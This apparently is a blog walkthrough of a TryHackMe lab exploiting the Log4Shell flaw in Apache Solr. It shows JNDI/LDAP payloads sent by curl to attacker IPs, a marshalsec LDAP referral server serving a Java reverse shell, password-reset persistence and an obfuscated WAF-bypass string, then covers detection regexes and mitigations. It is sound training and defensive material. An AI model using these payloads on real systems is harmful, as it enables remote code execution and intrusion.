Exploiting log4j | Apache Solr

Log4j is a popular Java library maintained by the Apache foundation used as a logging framework for Java. Around Friday 10th December 2021, reports of a vulnerability being exploited in the wild were reported. The vulnerability exists from the way that log4j writes logs to the log directory, if an attacker is able to have their own user-supplied input logged, they could craft a command such as the following to trigger the vulnerability:

${jndi:ldap://ATTACKER-CONTROLLED-HOST/a}

The exploit chain is as follows:

  1. ${jndi:ldap://ATTACKER-CONTROLLED-HOST/a} results in an outbound LDAP request to an LDAP Referral Server.

  2. The LDAP Referral Server redirects the request to a secondary HTTP server.

  3. This HTTP server is hosting a malicious Java class that is requested by the victim and is then executed on the victims host machine.

  4. This then leads to Remote Code Execution (RCE).

Due to the ease that this unauthenticated vulnerability can be exploited, this has been given a CVSS score of 10/10 being the most critical vulnerability score, owing to its criticality and how important it is to patch as soon as possible or at least apply some mitigation.


Below is a very nice graphic showing the exploit chain and how to mitigate each exploit step. Credits to GovCERT.

In this blog post we will be walking through the Tryhackme room Solar which showcases the log4j vulnerability in Apache Solr along with detection and mitigation techniques.


Reconnaissance

We are given an IP that is running the vulnerable Log4j package. The first thing we will do is run an nmap scan against it.

nmap -T4 -A -p- 10.10.228.21

Our scan results indicate that there is an application running on port 8983 (Apache Solr) that we know is running the Log4j package.


Vulnerability discovery

Navigating to the application, we take a look around and we can instantly tell that this application is running Java 1.80_181.

http://10.10.228.21:8983/

Looking around the web application we confirm that this indeed does use Log4j as we can see the location of the Log4j configuration file.

We can see that the Dsolr.log.dir argument is set to /var/solr/logs, which is the location that Solr logs to.

We can take a look at some example log files to see what exactly is logged to this directory by Apache Solr. We have 6 log files as shown below for us to explore.

The solr.log file contains a large amount of information with the file size being 16k.

There are some interesting lines in the log file below. We can see that we have a large number of INFO entries with repeated requests to the path "/admin/cores".

2021-12-13 03:47:55.682 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0

We notice that in the logs we have a params field that suggests a user could pass information as an argument and possibly inject a malicious command.

params={} and params=(id=1337}

PROOF OF CONCEPT

We navigate to the endpoint we uncovered in the logs, we also notice from the logs that we have a params field. This suggests that the attack vector is via this params field where an attacker is able to include a malicious payload.

http://10.10.228.21:8983/solr/admin/cores 

The Log4j package parses entries to enrich the data and as a result may evaluated the code based off the data entered. As explained in the Tryhackme room Solar, some of this data in certain syntax may be executed as it is logged into the log files. Some examples of syntax provided by the Tryhackme room are listed below:

    ${sys:os.name}
    ${sys:user.name}
    ${log4j:configParentLocation}
    ${ENV:PATH}
    ${ENV:HOSTNAME}
    ${java:version}

The general payload to exploit the Log4j vulnerability is shown below:

${jndi:ldap://ATTACKERCONTROLLEDHOST}

The syntax above can be broken down as the follows:

  • ${ } syntax are executed as they are entered into the log files.

  • jdni is the Java Naming and Directory Interface and infers that the command will invoke functionality from this API which allows Java applications to discover, look up and access external data resources.

  • ldap:// indicates that the target will reach out to an external attacker controlled endpoint via LDAP.

  • ATTACKERCONTROLLEDHOST will be the IP address or FQDN of the attacker controlled host.

This syntax could be entered anywhere in an application that uses the Log4j package where user input data is logged by the application. This could be in a search field, comment section or in this case in a URL parameter. We can craft an HTTP GET request as follows to trigger this vulnerability:

curl 'http://10.10.228.21:8983/solr/admin/cores?params=$\{jndi:ldap://10.11.43.71:1234\}'

We see below that from our GET request, we have received a connection back from the vulnerable application. We have just confirmed that Apache Solr is vulnerable to this exploit.

Capturing a GET request in Burp suite, we are able to add our URL parameter and using Repeater are able to send it.

Inspecting the query parameters in Burp suite, we can see clearly our payload that will be logged into the log file and executed.

Below we see we received another connection back from our request in Burp suite. This is just another way to trigger the vulnerability if you don't want to use Curl.


EXPLOITATION

We have confirmed the existence of this vulnerability by receiving a connection from the vulnerable application. However, we received an LDAP request to our netcat listener which did not offer much functionality besides proof we can receive requests. We can go further and respond with an LDAP handler, this will redirect the request from the victim to the destination where our malicious payload is hosted.


For this part of the exploitation chain I moved over to Tryhackme's attack box as I did not want to alter my local version of Java. The LDAP Referral Server README file suggests that we should be running Java 8, whereas my local version was different.

From the browser based attack box we will build the LDAP Referral Server with the following command:

mvn clean package -DskipTests

This machine will act solely as our LDAP Responder Server which will redirect requests to our secondary HTTP server which will serve the malicious payload.

With our LDAP server built we can start it up and set it up to redirect connections to our secondary HTTP server being hosted on the same attack box.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.10.5.80:8000/#Exploit"

Once we start our LDAP server, we see that it starts listening on port 1389 for connections, this will be the port we use in our initial command to send our LDAP request to.

We will now create our payload that will be used to execute on the victim. The Log4j vulnerability will execute code written in Java, and in this case a Java reverse shell as shown below.

Once we have our code, we will compile it with the following command:

javac Exploit.java -source 8 -target 8

We will then host the payload on port 8000 so that the LDAP responder can redirect requests to this HTTP Server to retrieve our payload.

Now everything is set up, we will send our GET request and walkthrough the attack chain. When we issue our GET request as shown below, an LDAP request is sent to 10.10.5.80 listening on port 1389.

curl 'http://10.10.228.21:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.5.80:1389/Exploit\}'

Once our LDAP Referral Server receives our LDAP request, it redirects it to our HTTP server on port 8000 requesting Exploit.class.

We see we have a GET request hit against our HTTP server, this Exploit.class will ultimately be executed on the victim running Apache Solr.

The Java.class file will execute our reverse shell code and we receive a reverse shell connection on port 9999 as the Solr user.


Persistence

To set up some Persistence we reset the Solr user password to 'password' once on the machine.

We then are able to SSH into the machine as the Solr user without having to re-exploit the Log4j vulnerability.


Detecting log4j exploits

One way to detect this vulnerability is by checking the log file we know that is affected by the Log4j vulnerability, the solr.log file. Looking in this log file, we can see all of my previous attempts at exploiting this vulnerability.

As tempting as it is to do a string match for this syntax and set up rules to block these, it won't work as there are many WAF bypasses that will not be prevented by REGEX or string matches.


We can use a very quick regex to find the most common exploit string, which we used in this exploitation. This command will check the logs folder and subfolders for the exploit string syntax.

sudo find /var/solr/logs/ -type f -exec sh -c "cat {} | sed -e 's/\${lower://'g | tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;

As we can se below, our output displays all of the log entries that contain our Log4j attack attempts using the standard attack syntax.


WAF bypass

It is very common for organisations to employ perimeter controls such as WAF's which would detect and prevent these exploitation attempts. One way round this is to use WAF bypasses, the syntax below is a common bypass that was seen in the wild.

http://10.10.228.21:8983/solr/admin/cores?params=${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//10.10.48.76:1389/Exploit} 

Below we can see that the WAF bypass syntax worked and we have a hit against our LDAP Referral Server.

Checking the log file again we can see our WAF bypass syntax was indeed logged successfully.

If we re-run the find command, it does in fact show the log lines for the WAF bypass syntax. Although it must be noted that more intricate and complicated WAF bypasses may not be returned by this REGEX match.


Mitigation techniques

Now we have exploited this vulnerability, we can look at mitigation techniques that we can put in place to prevent this vulnerability from being exploited. One mitigation technique outlined by Apache Solr is to alter the solr.in.sh to include the following line at the bottom of the file:

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Now we have added our mitigation, we need to restart the Apache Solr service so that it can take effect.

sudo /etc/init.d/solr restart

The mitigation we just applied prevents all types of requests, including the LDAP request which starts the exploit chain. By setting this mitigation, when an attacker tries to exploit this vulnerability, no outbound LDAP request is made to the malicious LDAP Referral Server.


We can manually confirm this by setting up our LDAP Referral Server again and trying to see if we can receive and redirect an LDAP request.

curl 'http://10.10.228.21:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.250.247:1389/Exploit\}'

We see below that after we send our malicious GET request, we do not receive an LDAP request to our LDAP Referral Server proving that our mitigation worked.

Another mitigation would be to block all outbound LDAP requests though egress filtering if possible, if not then outbound LDAP should be blocked on default ports at the very least. This will prevent outbound LDAP requests hitting an LDAP Referral Server. Blocking all LDAP outbound requests at this stage is as good as the mitigation we applied to Apache Solr above.


Patching

As of 13/12/2021, not all affected applications have released formal patches for this vulnerability yet. In the mean time we should be applying mitigations such as the ones described above to help reduce the risk posed by this vulnerability.


This vulnerability is extremely widespread and is affecting almost everyone. We need to come together to help implement mitigations, report where we see this vulnerability and educate other to patch their applications when patches are made available.


A big thank you to John Hammond and Tryhackme for putting this room together and for educating me about this vulnerability.

2,441 views

Recent Posts

See All